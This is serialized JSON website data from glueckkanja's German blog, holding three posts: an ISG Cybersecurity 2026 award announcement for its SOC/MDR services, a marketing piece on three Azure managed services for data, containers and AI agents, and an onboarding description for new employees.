[980],[970,1604,1605,976,1607],{},[973,1606,1023],{},[821,1608,1027],{"href":929,"target":516,"rel":1609},[980],[970,1611,1612,976,1614],{},[973,1613,1032],{},[821,1615,1037],{"href":1035,"target":516,"rel":1616},[980],[970,1618,1619,976,1621,1047],{},[973,1620,1042],{},[821,1622,1037],{"href":1045,"target":516,"rel":1623},[980],[970,1625,1626,976,1628],{},[973,1627,1052],{},[821,1629,938],{"href":426},[970,1631,1632,976,1634],{},[973,1633,1052],{},[821,1635,396],{"href":397},{"title":1062,"searchDepth":1063,"depth":1063,"links":1637},[1638,1639,1640,1641,1642,1643,1644,1645],{"id":811,"depth":1063,"text":812},{"id":845,"depth":1063,"text":846},{"id":860,"depth":1063,"text":861},{"id":878,"depth":1063,"text":879},{"id":896,"depth":1063,"text":897},{"id":920,"depth":1063,"text":921},{"id":948,"depth":1063,"text":949},{"id":960,"depth":1063,"text":961},{"lang":4,"seoTitle":1076,"titleClass":1077,"date":1078,"categories":1647,"blogtitlepic":1080,"socialimg":1081,"customExcerpt":1082,"keywords":1083,"hreflang":1648,"asideNav":1652,"published":511},[373],[1649,1650,1651],{"lang":4,"href":1086},{"lang":1088,"href":1089},{"lang":1091,"href":1092},{"menuItems":1653},[1654,1655,1656,1657,1658,1659,1660],{"href":1096,"text":812},{"href":1098,"text":1099},{"href":1101,"text":1102},{"href":1104,"text":1105},{"href":1107,"text":1108},{"href":1110,"text":921},{"href":1112,"text":949},{"title":802,"description":1062},[1117,1118,1119],{"id":1664,"title":1665,"author":1666,"body":1667,"cta":767,"description":1671,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":1769,"moment":1771,"navigation":511,"path":1856,"seo":1857,"stem":1858,"tags":1859,"webcast":752,"__hash__":1862},"content_de/posts/2026-07-22-isg-cybersecurity-2026.md","Leader und Rising Star. glueckkanja in der ISG Cybersecurity-Studie 2026",[1306],{"type":806,"value":1668,"toc":1762},[1669,1672,1679,1710,1714,1716,1719,1723,1725,1732,1739,1742,1746,1748,1754,1759],[814,1670,1671],{},"Neu im Quadranten und direkt Leader: Die ISG Provider Lens®-Studie \"Cybersecurity – Services and Solutions 2026\" positioniert glueckkanja als Leader im Bereich Next-Gen SOC/MDR Services für den deutschen Mittelstand. Im Gesamtmarkt für Next-Gen SOC/MDR Services zeichnet uns ISG als Rising Star aus, also als den Anbieter, dem die Analysten den Sprung in den Leader-Quadranten innerhalb der nächsten 12 bis 24 Monate zutrauen.",[814,1673,1674,1675,1678],{},"Nach den wiederholten Auszeichnungen für Managed Services for Azure und Microsoft 365 Services bestätigt ISG damit erstmals auch unser Cybersecurity-Geschäft. Der Kern des Angebots: Managed Security Services mit einem ",[821,1676,1677],{"href":426},"24/7 SOC",", das komplett aus Deutschland betrieben wird, tiefer Expertise im Microsoft-Security-Stack und einer Kundenbasis, zu der zahlreiche Energieversorger und KRITIS-Betreiber gehören.",[1680,1681,968,1683,968,1691,968,1695],"blockquote",{"style":1682},"border-left: none; background-color: var(--color-gk-violet); color: var(--color-gk-white); padding: 2.5rem 2rem; margin: 2rem 0;",[1684,1685,1690],"h3",{"className":1686,"style":1688,"id":1689},[1687],"h4-font-size","color: var(--color-gk-white);","das-soc-hinter-der-auszeichnung","Das SOC hinter der Auszeichnung",[814,1692,1694],{"style":1693},"font-size: inherit;","Unser Cloud Security Operations Center ist als Microsoft Verified MXDR Solution zertifiziert und stoppt Angriffe, bevor daraus Vorfälle werden.",[821,1696,1705],{"role":1697,"className":1698,"dataText":1703,"href":426,"type":1704},"button",[1699,1700,1701,1702],"cta","btn","btn-primary","vue-component","Mehr zum Managed SOC","Button",[1706,1707,1703],"span",{"className":1708},[1709],"cta__text",[809,1711,1713],{"id":1712},"die-studie","Die Studie",[814,1715,816],{},[814,1717,1718],{},"Mit der Studie \"Cybersecurity – Services and Solutions\" untersucht ISG jährlich den deutschen Markt für Security-Dienstleistungen und -Produkte. Bewertet wurden in diesem Jahr 71 Anbieter in sechs Quadranten, von Strategic Security Services über Next-Gen SOC/MDR bis Post-Quantum Encryption Consulting. Der Markt dahinter wächst deutlich: Für 2026 prognostiziert ISG ein Plus von mehr als 15 Prozent bei Managed Security Services in Deutschland, getrieben von komplexeren Angriffen, dem Fachkräftemangel und den Anforderungen der NIS-2-Richtlinie.",[809,1720,1722],{"id":1721},"glueckkanja-ist-leader-next-gen-socmdr-services-midmarket","glueckkanja ist Leader Next-Gen SOC/MDR Services (Midmarket)",[814,1724,816],{},[814,1726,1727],{},[1728,1729],"img",{"alt":1730,"src":1731},"ISG Provider Lens Quadrant: glueckkanja als Leader für Next-Gen SOC/MDR Services Midmarket Germany 2026","https://res.cloudinary.com/c4a8/image/upload/blog/pics/isg-quadrant-cybersecurity-2026-leader.png",[814,1733,1734,1738],{},[1735,1736,1737],"em",{},"\"Mit starkem Wachstum hat glueckkanja den Sprung zu einem der führenden Anbieter von Next-Gen SOC/MDR Services für kleine und mittlere Unternehmen in Deutschland geschafft.\""," (Frank Heuer, Lead Author, ISG)",[814,1740,1741],{},"Im Mittelstandssegment, in dem 26 Anbieter qualifiziert waren und neun den Leader-Status erreichten, sind wir in diesem Jahr in den Leader-Quadranten aufgestiegen. ISG nennt dafür drei Gründe: unsere Position als einer der am höchsten qualifizierten Microsoft Security Partner in Deutschland, das Vertrauen von Energieversorgern und KRITIS-Betreibern in unsere SOC-Services und den 24/7-Betrieb aus Deutschland, der gerade bei mittelständischen Unternehmen mit Vorbehalten gegenüber SOC-Standorten im Ausland den Ausschlag gibt.",[809,1743,1745],{"id":1744},"glueckkanja-ist-rising-star-next-gen-socmdr-services","glueckkanja ist Rising Star Next-Gen SOC/MDR Services",[814,1747,816],{},[814,1749,1750],{},[1728,1751],{"alt":1752,"src":1753},"ISG Provider Lens Quadrant: glueckkanja als Rising Star für Next-Gen SOC/MDR Services Germany 2026","https://res.cloudinary.com/c4a8/image/upload/blog/pics/isg-quadrant-cybersecurity-2026-rising-star.png",[814,1755,1756,1738],{},[1735,1757,1758],{},"\"glueckkanja adressiert gezielt die Wachstumssegmente im Markt, wächst dadurch stark und ist damit der neue Rising Star unter den Anbietern von Next-Gen SOC/MDR Services in Deutschland.\"",[814,1760,1761],{},"Auch im Gesamtmarkt, in dem sich große internationale Anbieter messen, hat ISG uns bewertet: Von 31 qualifizierten Anbietern wurden 13 als Leader positioniert, ein einziger als Rising Star, nämlich glueckkanja. Ausschlaggebend war laut ISG das im Marktvergleich deutlich überdurchschnittliche Umsatzwachstum in Kombination mit Microsoft-Expertise, SOC-Betrieb aus Deutschland und starken KRITIS-Referenzen.",{"title":1062,"searchDepth":1063,"depth":1063,"links":1763},[1764,1766,1767,1768],{"id":1689,"depth":1765,"text":1690},3,{"id":1712,"depth":1063,"text":1713},{"id":1721,"depth":1063,"text":1722},{"id":1744,"depth":1063,"text":1745},{"lang":4,"seoTitle":1770,"titleClass":1077,"date":1771,"categories":1772,"blogtitlepic":1774,"socialimg":1775,"customExcerpt":1776,"keywords":1777,"contactInContent":1778,"hreflang":1848,"published":511,"scripts":1855},"ISG 2026: glueckkanja ist Leader für Next-Gen SOC/MDR Services im Midmarket und Rising Star im Gesamtmarkt","2026-07-22",[1773],"Corporate","head-isg-cybersecurity-2026.png","/blog/heads/head-isg-cybersecurity-2026.png","Die ISG Provider Lens®-Studie Cybersecurity 2026 zeichnet glueckkanja als Leader im Quadranten Next-Gen SOC/MDR Services (Midmarket) aus. Im Gesamtmarkt für Next-Gen SOC/MDR Services sind wir Rising Star. ISG bescheinigt uns überdurchschnittliches Wachstum, tiefe Microsoft-Security-Expertise und ein 24/7 SOC aus Deutschland.","ISG Provider Lens Cybersecurity 2026, Next-Gen SOC MDR Services Deutschland, Managed Security Services Deutschland, SOC Deutschland, MDR Mittelstand, Microsoft Security Partner Deutschland, KRITIS Security, glueckkanja SOC, glueckkanja Cybersecurity, ISG Leader 2026, ISG Rising Star 2026, Managed Detection and Response Deutschland, Security Operations Center Deutschland",{"quote":511,"infos":1779},{"bgColor":1780,"color":1781,"boxBgColor":764,"boxColor":1781,"headline":1782,"subline":1783,"level":809,"textStyling":1784,"flush":1785,"person":1786,"form":1801},"var(--color-gk-dark-blue)","var(--color-gk-white)","Studie anfordern","Ihr möchtet tiefer in die Studienergebnisse eintauchen? Meldet euch bei uns, wir schicken euch die vollständige ISG-Übersicht zu unseren SOC- und MDR-Services zu.","text-light","justify-content-end",{"image":1787,"cloudinary":511,"alt":1788,"name":804,"quotee":804,"quoteeTitle":1789,"quote":1790,"detailsHeader":1791,"details":1792},"/people/people-jan-geisbauer-csoc.jpg","Porträt von Jan Geisbauer, Head of Security bei glueckkanja","Head of Security","Leader im Mittelstand und Rising Star im Gesamtmarkt, im ersten Jahr der Teilnahme. Das bestätigt, was wir seit Jahren aufbauen: ein SOC, das rund um die Uhr aus Deutschland arbeitet, tief im Microsoft-Stack, mit Kunden, die sich Ausfälle nicht leisten können.","Wir freuen uns darauf,\u003Cbr />von euch zu hören!",[1793,1797],{"text":765,"href":1794,"details":1795,"icon":1796},"tel:+49 69 4005520","Jetzt anrufen","site/phone",{"text":1798,"href":1799,"icon":1800},"sales@glueckkanja.com","mailto:sales@glueckkanja.com","site/mail",{"ctaText":1802,"cta":1803,"method":1074,"action":1805,"fields":1806},"Absenden",{"skin":1804},"primary on-surface","/send",[1807,1811,1816,1819,1823,1828,1833,1835,1838,1841,1844,1846],{"type":1808,"id":1809,"value":1810},"hidden","_next","successful",{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":1815},"Name*","text","name","Bitte Namen eingeben.",{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":1818},"Unternehmen*","Bitte Unternehmen eingeben.",{"label":1820,"type":1821,"id":1821,"required":511,"requiredMsg":1822},"E-Mail-Adresse*","email","Bitte E-Mail-Adresse eingeben.",{"label":1824,"type":1825,"id":1826,"required":752,"requiredMsg":1827},"Deine Nachricht an uns","textarea","message","Bitte gib eine Nachricht ein.",{"label":1829,"type":1830,"id":1831,"required":511,"requiredMsg":1832},"Deine Daten werden zur Bearbeitung und Beantwortung deiner Anfrage bei uns gespeichert. Weitere Informationen zum Datenschutz findest du in unserer \u003Ca href=\"/de/datenschutz\">Datenschutzerklärung\u003C/a>.","checkbox","dataprotection","Bitte bestätigen",{"type":1808,"id":1834,"value":1773},"_topic",{"type":1808,"id":1836,"value":1837},"_location","DE",{"type":1808,"id":1839,"value":1840},"_subject","Form: Blog ISG Cybersecurity | DE",{"type":1808,"id":1842,"value":1843},"inbox_key","gkgab-contact-form",{"type":1808,"id":1845},"_gotcha",{"type":1808,"id":1847},"jsonData",[1849,1851,1853],{"lang":4,"href":1850},"/de/posts/2026-07-22-isg-cybersecurity-2026",{"lang":1088,"href":1852},"/en/posts/2026-07-22-isg-cybersecurity-2026",{"lang":1091,"href":1854},"/es/posts/2026-07-22-isg-cybersecurity-2026",{"form":511},"/posts/2026-07-22-isg-cybersecurity-2026",{"title":1665,"description":1671},"posts/2026-07-22-isg-cybersecurity-2026",[1860,1861,373],"Award","ISG","rNF-iY8520DUG9iPFO39w3x3P25pMot9EuDw5Df8SLw",{"id":1864,"title":1865,"author":1866,"body":1867,"cta":767,"description":1875,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":1953,"moment":1954,"navigation":511,"path":1993,"seo":1994,"stem":1995,"tags":1996,"webcast":752,"__hash__":1997},"content_de/posts/2026-07-06-the-holy-trinity.md","The Holy Trinity: Was KI wirklich braucht, um zu arbeiten",[1306],{"type":806,"value":1868,"toc":1947},[1869,1873,1876,1879,1882,1886,1889,1892,1900,1904,1907,1914,1917,1921,1924,1931,1934,1938,1941,1944],[1870,1871,1865],"h1",{"id":1872},"the-holy-trinity-was-ki-wirklich-braucht-um-zu-arbeiten",[814,1874,1875],{},"Ein Fertigungsunternehmen möchte wissen, welche seiner 14.000 SKUs tatsächlich profitabel sind. Die Antwort liegt in drei Systemen, die noch nie einen einzigen Datenpunkt miteinander ausgetauscht haben. Bis vor Kurzem hat es drei Abteilungen, zwei Wochen und einiges an gutem Willen gekostet, sie zu bekommen. Seit Anfang 2026 kann eine KI diese Frage in Minuten beantworten: die Daten durchsuchen, Zusammenhänge herstellen, eine Empfehlung produzieren. Vorausgesetzt, sie hat Zugriff.",[814,1877,1878],{},"Die Modelle sind so weit. Sie handeln, führen Aufgaben über mehrere Schritte und Systemgrenzen hinweg aus, bereiten Entscheidungen vor, stoßen Workflows an. Viele Unternehmen haben davon durch Copilot bereits einen ersten Eindruck bekommen, aber Copilot kennt das M365-Universum: Mails, Dokumente, Kalender. Wer KI auf die Daten ansetzen will, die das eigentliche Geschäft tragen, auf ERP, CRM, IoT und Produktionssysteme, braucht ein anderes Fundament.",[814,1880,1881],{},"Dieses Fundament besteht aus drei Teilen. Wir haben jeden davon als Managed Service gebaut, jeder geht in drei bis vier Wochen in Produktion, und zusammen bilden sie die Plattform, auf der KI echte Arbeit leisten kann.",[809,1883,1885],{"id":1884},"erstens-daten-die-eine-abfrage-wert-sind","Erstens: Daten, die eine Abfrage wert sind",[814,1887,1888],{},"Zurück zu den 14.000 SKUs. Produktionsdaten stecken im ERP, Verkaufszahlen im CRM, und irgendwo dazwischen pflegt eine einzelne Person eine Tabelle, die zufällig die einzige Quelle für einen geschäftskritischen KPI ist. Das ist kein Sonderfall. Das ist die Regel. Und solange diese Daten in getrennten Systemen liegen, hat KI keinen zusammenhängenden Blick auf das Geschäft.",[814,1890,1891],{},"Eine Lakehouse-Architektur löst das in drei Schichten: Rohdaten aus den Quellsystemen (Bronze), kuratierte und validierte Datensätze (Silver), Business-Aggregate, die direkt in Analytics- oder KI-Pipelines fließen (Gold). Ob das auf Databricks oder Fabric läuft, hängt von der Anforderung ab. Beides funktioniert. Ein Hybrid aus beidem auch.",[814,1893,1894,1895,1899],{},"Die ",[821,1896,1897],{"href":340},[973,1898,339],{}," ist unser Managed Service dafür. Sie integriert Daten aus ERP, CRM, IoT und weiteren Quellsystemen in eine einzige Plattform, vollständig als Infrastructure as Code definiert, mit automatischer Drift Detection, durchgängiger Data Governance über Unity Catalog oder Purview und rollenbasiertem Zugriff für Business User, Analysten und Data Engineers gleichermaßen. Die praktische Folge: Ein Unternehmen mit diesem Fundament kann zum ersten Mal Fragen stellen, die vorher unbeantwortbar waren, nicht weil man nicht wollte, sondern weil die Daten zwar da waren, aber nie verbunden.",[809,1901,1903],{"id":1902},"zweitens-ein-ort-an-dem-workloads-tatsächlich-laufen","Zweitens: Ein Ort, an dem Workloads tatsächlich laufen",[814,1905,1906],{},"Daten zu haben, ist das eine. Etwas damit zu tun, das über eine einmalige Abfrage hinausgeht, ist das andere. KI-Anwendungen, automatisierte Business-Logik, langlaufende Jobs: Alles, was autonom und wiederholt auf Unternehmensdaten zugreift, braucht eine Laufzeitumgebung, die man kontrollieren kann. Diese Umgebung besteht, ob so geplant oder nicht, aus Containern.",[814,1908,1894,1909,1913],{},[821,1910,1911],{"href":349},[973,1912,348],{}," liefert diesen Rahmen: eine standardisierte Container-Plattform auf Basis von Azure Container Apps oder Azure Kubernetes Service, je nach Workload. Einheitliche Netzwerkzugriffe, zentrale Authentifizierung über Entra ID mit Managed Identities, durchgängiges Monitoring. Alles über Terraform und GitHub verwaltet, alles reproduzierbar.",[814,1915,1916],{},"Was das ermöglicht: Statt dass jedes Team seinen eigenen Cluster hochzieht und eigene Regeln definiert, gibt es einen gemeinsamen Rahmen, in dem Workloads nicht nur laufen, sondern beherrschbar bleiben. Das ist die Voraussetzung dafür, ihnen Autonomie zu geben.",[809,1918,1920],{"id":1919},"drittens-der-ort-an-dem-aus-modellen-agents-werden","Drittens: Der Ort, an dem aus Modellen Agents werden",[814,1922,1923],{},"Ein Modell ist noch kein Agent. Zwischen einem Sprachmodell und etwas, das zuverlässig Bestellungen erfasst, Rechnungen prüft oder Servicefälle eskaliert, liegt eine Menge unspektakulärer Arbeit: welches Modell, welche Werkzeuge, welche Datenquellen, welche Leitplanken, und was passiert, wenn der Agent daneben liegt. Diese Arbeit muss irgendwo stattfinden, nachvollziehbar und wiederholbar, nicht in einem Notebook auf dem Laptop einer einzelnen Person.",[814,1925,1894,1926,1930],{},[821,1927,1928],{"href":330},[973,1929,329],{}," ist unser Managed Service für diese Schicht, aufgesetzt auf Microsoft Foundry (vormals Azure AI Foundry): Modellkatalog, Agent-Orchestrierung, Anbindung an Werkzeuge und Datenquellen, Evaluierung und Observability an einem Ort. Ein Agent, der hier gebaut wird, greift über dieselben Entra-Identitäten auf Daten und Workloads zu wie der Rest der Landschaft, läuft gegen die Leitplanken, die man definiert hat, und hinterlässt eine Spur, die sich prüfen lässt.",[814,1932,1933],{},"Wir liefern sie als Code definiert, mit rollenbasiertem Zugriff, Content-Filtern und Netzwerkgrenzen, die nicht zur Diskussion stehen, und mit einem Deployment-Weg, der einen Agenten aus der Entwicklung in die Produktion bringt, ohne dass jemand von Hand an Schrauben dreht. Erst damit hört ein Agent auf, ein Prototyp zu sein, und wird zu etwas, das ein Unternehmen tatsächlich betreiben kann.",[809,1935,1937],{"id":1936},"the-holy-trinity","The Holy Trinity",[814,1939,1940],{},"Drei Bausteine, jeder in drei bis vier Wochen produktiv, jeder einzeln einsetzbar, zusammen die Plattform, auf der KI dort ankommt, wo im Unternehmen tatsächlich Wert entsteht.",[814,1942,1943],{},"Die Azure Data Foundation verschafft KI Zugriff auf die Daten, die das Geschäft beschreiben. Die Azure Container Foundation gibt ihren Workloads einen Ort, an dem sie laufen können, dauerhaft und kontrolliert. Und die AI Foundation ist der Ort, an dem aus diesen Daten und diesen Workloads ein Agent wird, den man bauen, prüfen und betreiben kann.",[814,1945,1946],{},"Setzt man alle drei zusammen, hat man den Boden, auf dem KI aufhört zusammenzufassen und anfängt zu arbeiten.",{"title":1062,"searchDepth":1063,"depth":1063,"links":1948},[1949,1950,1951,1952],{"id":1884,"depth":1063,"text":1885},{"id":1902,"depth":1063,"text":1903},{"id":1919,"depth":1063,"text":1920},{"id":1936,"depth":1063,"text":1937},{"lang":4,"seoTitle":1865,"titleClass":1077,"date":1954,"categories":1955,"blogtitlepic":1956,"socialimg":1957,"keywords":1958,"contactInContent":1959,"hreflang":1985,"published":511,"scripts":1992},"2026-07-06",[199],"head-the-holy-trinity","https://res.cloudinary.com/c4a8/image/upload/blog/heads/head-the-holy-trinity.png","Enterprise KI Infrastruktur, Azure Data Foundation, Azure Container Foundation, Azure AI Foundation, AI Foundation, Microsoft Foundry, Azure AI Foundry, KI Agents Enterprise, Agent Identity, Azure Lakehouse Architektur, Databricks Microsoft Fabric, Managed Azure Services, Entra ID Managed Identity, KI Agent Orchestrierung, Infrastructure as Code Azure",{"quote":511,"infos":1960},{"bgColor":1780,"color":1781,"boxBgColor":764,"boxColor":1781,"headline":1961,"subline":1962,"level":809,"textStyling":1784,"flush":1785,"person":1963,"form":1970},"Jetzt Kontakt aufnehmen","Ihr wollt KI im eigenen Stack produktiv machen und fragt euch, welche der drei Foundations bei euch zuerst tragen muss? Sprecht uns an, wir schauen mit euch, wo ihr heute steht und was als Nächstes sinnvoll ist.",{"image":1964,"cloudinary":511,"alt":1380,"name":1380,"quotee":1380,"quoteeTitle":1965,"quote":1966,"detailsHeader":1791,"details":1967},"/people/people-florian-stoeckl.jpg","Head of Azure","Die Modelle sind längst so weit. Woran KI-Vorhaben scheitern, ist fast nie das Modell, sondern das Fundament darunter: Daten, die nicht zusammenlaufen, Workloads ohne kontrollierte Laufzeit, Agents, die nie aus dem Prototyp herauskommen. Genau diese drei Ebenen bauen wir als Managed Services, damit KI im Unternehmen tatsächlich arbeitet und nicht nur beeindruckt.",[1968,1969],{"text":765,"href":1794,"details":1795,"icon":1796},{"text":1798,"href":1799,"icon":1800},{"ctaText":1802,"cta":1971,"method":1074,"action":1805,"fields":1972},{"skin":1804},[1973,1974,1975,1976,1978,1979,1981,1983,1984],{"type":1808,"id":1809,"value":1810},{"label":1812,"type":1813,"id":1814,"required":511,"requiredMsg":1815},{"label":1817,"type":1813,"id":615,"required":511,"requiredMsg":1818},{"label":1977,"type":1821,"id":1821,"required":511,"requiredMsg":1822},"Email-Adresse*",{"label":1824,"type":1825,"id":1826,"required":752,"requiredMsg":1827},{"label":1980,"type":1830,"id":1831,"required":511,"requiredMsg":1832},"Eure Daten werden zur Bearbeitung und Beantwortung eurer Anfrage bei uns gespeichert. Weitere Informationen zum Datenschutz findet ihr in unserer \u003Ca href=\"/de/datenschutz\">Datenschutzerklärung\u003C/a>.",{"type":1808,"id":1839,"value":1982},"Form: Holy Trinity | DE",{"type":1808,"id":1842,"value":1843},{"type":1808,"id":1845},[1986,1988,1990],{"lang":4,"href":1987},"/de/posts/2026-07-06-the-holy-trinity",{"lang":1088,"href":1989},"/en/posts/2026-07-06-the-holy-trinity",{"lang":1091,"href":1991},"/es/posts/2026-07-06-the-holy-trinity",{"slick":511,"form":511},"/posts/2026-07-06-the-holy-trinity",{"title":1865,"description":1875},"posts/2026-07-06-the-holy-trinity",[1117,199],"7Dj2V0iMqbtEmvStfRpKPFY_VALyZyBBaG_EGCXU7fo",{"id":1999,"title":2000,"author":2001,"body":2002,"cta":767,"description":2006,"eventid":767,"extension":1073,"hideInRecent":752,"layout":1074,"meta":2158,"moment":2160,"navigation":511,"path":2207,"seo":2208,"stem":2209,"tags":2210,"webcast":752,"__hash__":2214},"content_de/posts/2026-07-01-onboarding-process.md","Vertrag unterschrieben: So läuft dein Onboarding bei uns ab",[1397],{"type":806,"value":2003,"toc":2150},[2004,2007,2011,2013,2016,2019,2023,2025,2028,2031,2034,2037,2044,2058,2062,2064,2067,2070,2073,2077,2079,2082,2086,2088,2091,2095,2097,2100,2103],[814,2005,2006],{},"Wie läuft euer Onboarding eigentlich ab? Eine Frage, die uns in Gesprächen mit Bewerbenden immer wieder begegnet, denn viele haben schon einmal erlebt, dass ein Onboarding holprig verläuft. Umso wichtiger ist es uns, dir von Anfang an ein gutes Gefühl zu geben.",[809,2008,2010],{"id":2009},"was-dich-vor-deinem-ersten-tag-erwartet","Was dich vor deinem ersten Tag erwartet",[814,2012,816],{},[814,2014,2015],{},"Onboarding beginnt bei uns nicht erst am ersten Arbeitstag, sondern deutlich früher, in vielen Unternehmen auch als PreBoarding bekannt. Direkt nach der Vertragsunterschrift bekommst du von uns die ersten wichtigen Informationen rund um deinen Start bei glueckkanja und einen Überblick darüber, was dich in den kommenden Wochen erwartet.",[814,2017,2018],{},"Wir klären mit dir vorab, welche Hardware du möchtest, wie deine Anreise und Übernachtung aussehen und was dich in den ersten Tagen erwartet. Als Techie bekommst du deine Technik schon vorab nach Hause geschickt und kannst sie in Ruhe einrichten, bevor es los geht.",[809,2020,2022],{"id":2021},"dein-erster-arbeitstag","Dein erster Arbeitstag",[814,2024,816],{},[814,2026,2027],{},"Dann ist der erste Arbeitstag da, die Aufregung steigt und mit ihr die Frage: Was erwartet mich jetzt eigentlich?",[814,2029,2030],{},"Unser Onboarding findet grundsätzlich vor Ort an unserem Hauptsitz in Offenbach am Main statt. In der Regel verbringen unsere New Joiner die gesamte erste Woche hier, denn wir wollen, dass du direkt von Beginn an unsere Kultur erlebst, Kontakte knüpfst und ein echtes Gefühl für glueckkanja bekommst.",[814,2032,2033],{},"Der erste Tag ist geprägt von vielen neuen Eindrücken. Michael, unser COO, gibt dir einen Überblick über die Entstehungsgeschichte von glueckkanja, erklärt, was wir eigentlich den ganzen Tag tun und wofür wir stehen, sodass du direkt ein gutes Gesamtbild davon bekommst, was GK ausmacht.",[814,2035,2036],{},"Dazu gehört natürlich ein gemeinsames Mittagessen. In entspannter Atmosphäre lernen wir uns besser kennen, tauschen uns aus und kommen ins Gespräch. Auch ein Meeting mit unserem People & Culture Team darf nicht fehlen: Hier bekommst du alle wichtigen Basics an die Hand, von unserem HR-System über allgemeine Tools bis zu unseren Benefits und Events.",[2038,2039],"video-frame",{"thumb":2040,"alt":2041,"id":2042,":full-width":2043},"/thumbs/thumb-onboarding-prozess.jpg","Inside glueckkanja – Anna aus dem HR-Team im Spotlight","vQzwnRZ9kjc","true",[2045,2046,968,2049],"div",{"className":2047},[2048],"breakout",[814,2050,2052],{"style":2051},"line-height: 1.3; margin-top: 0.5rem",[2053,2054,2055],"small",{},[1735,2056,2057],{},"Inside glueckkanja: Anna aus dem HR-Team über ihren Arbeitsalltag, die Betreuung unserer internationalen Standorte und den Zusammenhalt trotz Remote-Arbeit.",[809,2059,2061],{"id":2060},"ankommen-im-team","Ankommen im Team",[814,2063,816],{},[814,2065,2066],{},"Teamwork und Zusammenhalt spielen bei GK eine große Rolle, deshalb wirst du auch direkt persönlich begrüßt. Dein Buddy ist von Anfang an an deiner Seite, oft gemeinsam mit dem Head of des jeweiligen Bereichs. Nach den ersten Meetings heißt dich dein Team herzlich willkommen und begleitet dich durch deine ersten Tage.",[814,2068,2069],{},"Und dann fehlt noch etwas Wichtiges: dein erstes GK-Fotoshooting, das wir für die Profilfotos in unseren Systemen nutzen.",[814,2071,2072],{},"Den Abend lassen wir gemeinsam beim New Joiner Dinner ausklingen, immer an einer wechselnden Location. Hier geht es bewusst um lockeren Austausch, mit dabei sind auch dein Buddy und dein Teamlead.",[809,2074,2076],{"id":2075},"deine-erste-woche","Deine erste Woche",[814,2078,816],{},[814,2080,2081],{},"Im Laufe der Woche bist du dann verstärkt mit deinem Team unterwegs. Jedes Team hat einen eigenen Onboarding-Plan, der dir zeigt, was dich fachlich und organisatorisch erwartet. Vor allem geht es aber darum, bei uns anzukommen und glueckkanja kennenzulernen. Und falls du jetzt denkst, das war es schon mit Teamaktivitäten und gemeinsamem Essen, dann kennst du uns noch nicht ganz.",[809,2083,2085],{"id":2084},"first-thursday-ein-fester-bestandteil-unserer-kultur","First Thursday: ein fester Bestandteil unserer Kultur",[814,2087,816],{},[814,2089,2090],{},"Ein wichtiger Teil unserer Arbeitskultur ist der First Thursday. Jeden ersten Donnerstag im Monat gehen wir als gesamte Company gemeinsam essen. Diese Tradition leben wir an all unseren Standorten, sie steht für Austausch, Zusammenhalt und gemeinsames Ankommen. Hier lernst du direkt einen großen Teil der Company live kennen.",[809,2092,2094],{"id":2093},"wie-geht-es-weiter","Wie geht es weiter?",[814,2096,816],{},[814,2098,2099],{},"Nach deiner ersten Onboarding-Woche begleitet dich dein Team durch das weitere Onboarding bei GK, Schritt für Schritt, bis du vollständig angekommen bist.",[814,2101,2102],{},"Klingt nach einem Start, den du dir vorstellen kannst? Dann schau, welche Stellen gerade offen sind.",[814,2104,2105],{},[821,2106,2112,2115],{"role":1697,"className":2107,"dataText":2109,"href":2110,"target":516,"rel":2111},[1699,2108,1702],"link","Zu den offenen Stellen","https://www.glueckkanja.com/de/job-offers",[980],[1706,2113,2109],{"className":2114},[1709],[1706,2116,2122],{"className":2117,"style":2121},[2118,2119,2120,1702],"icon","icon--right","icon--arrow","--color-icon: currentColor; --icon-rotation: 0deg;",[2123,2124,2133],"svg",{"viewBox":2125,"width":2126,"height":2126,"padding":2127,"xmlSpace":2128,"version":2129,"xmlns":2130,"xmlns:link":2131,"style":2132},"0 0 28 17","28px","6","preserve","1.1","http://www.w3.org/2000/svg","http://www.w3.org/1999/xlink","stroke: currentcolor; transform: rotate(var(--icon-rotation)) scale(var(--icon-scale));",[2134,2135,2137,2146],"g",{"transform":2136},"translate(0.75 0.75)",[2138,2139],"path",{"d":2140,"transform":2141,"fill":2142,"fillRule":2143,"strokeWidth":2144,"strokeLineCap":2145,"strokeLineJoin":2145},"M0.5 0.5L26 0.5","translate(0 7)","none","evenodd","1.5","round",[2138,2147],{"d":2148,"transform":2149,"fill":2142,"fillRule":2143,"strokeWidth":2144,"strokeLineCap":2145,"strokeLineJoin":2145},"M0 15L7 7.5L0 0","translate(19 0)",{"title":1062,"searchDepth":1063,"depth":1063,"links":2151},[2152,2153,2154,2155,2156,2157],{"id":2009,"depth":1063,"text":2010},{"id":2021,"depth":1063,"text":2022},{"id":2060,"depth":1063,"text":2061},{"id":2075,"depth":1063,"text":2076},{"id":2084,"depth":1063,"text":2085},{"id":2093,"depth":1063,"text":2094},{"lang":4,"seoTitle":2159,"titleClass":1077,"date":2160,"categories":2161,"blogtitlepic":2162,"socialimg":2163,"customExcerpt":2164,"keywords":2165,"contactInContent":2166,"hreflang":2199,"published":511,"scripts":2206},"Onboarding bei glueckkanja: Von der Vertragsunterschrift bis zum ersten Team-Tag","2026-07-01",[1773],"Onboarding_Blogheader","https://res.cloudinary.com/c4a8/image/upload/blog/heads/Onboarding_Blogheader.jpg","Der Vertrag ist unterschrieben, der erste große Schritt ist geschafft. Aber wie geht es jetzt weiter? Wir nehmen dich mit hinter die Kulissen unseres Onboardings, vom PreBoarding bis zur ersten Woche im Team.","Onboarding glueckkanja, Onboarding IT Unternehmen, Onboarding Prozess IT, New Joiner IT, Preboarding IT, Erster Arbeitstag IT Unternehmen, Mitarbeiterintegration IT, Employer Branding IT, Unternehmenskultur IT, Willkommenskultur IT, People and Culture, Onboarding Programm IT, Offenbach am Main Arbeitgeber",{"quote":511,"infos":2167},{"bgColor":1780,"color":1781,"boxBgColor":764,"boxColor":1781,"headline":2168,"subline":2169,"level":809,"textStyling":1784,"flush":1785,"person":2170,"form":2180},"Lust, bei uns anzufangen?","Du hast Fragen zum Onboarding oder willst wissen, wie ein Einstieg bei uns konkret aussieht? Schreib uns, wir melden uns bei dir.",{"image":2171,"cloudinary":511,"alt":2172,"name":1397,"quotee":1397,"quoteeTitle":2173,"quote":2174,"detailsHeader":2175,"details":2176},"/people/anna-katharina.ulbricht-09.png","Anna Ulbricht, HR-Managerin","HR-Managerin","Onboarding ist für uns keine Checkliste, die man abarbeitet. Wir wollen, dass du vom ersten Tag an das Gefühl hast, 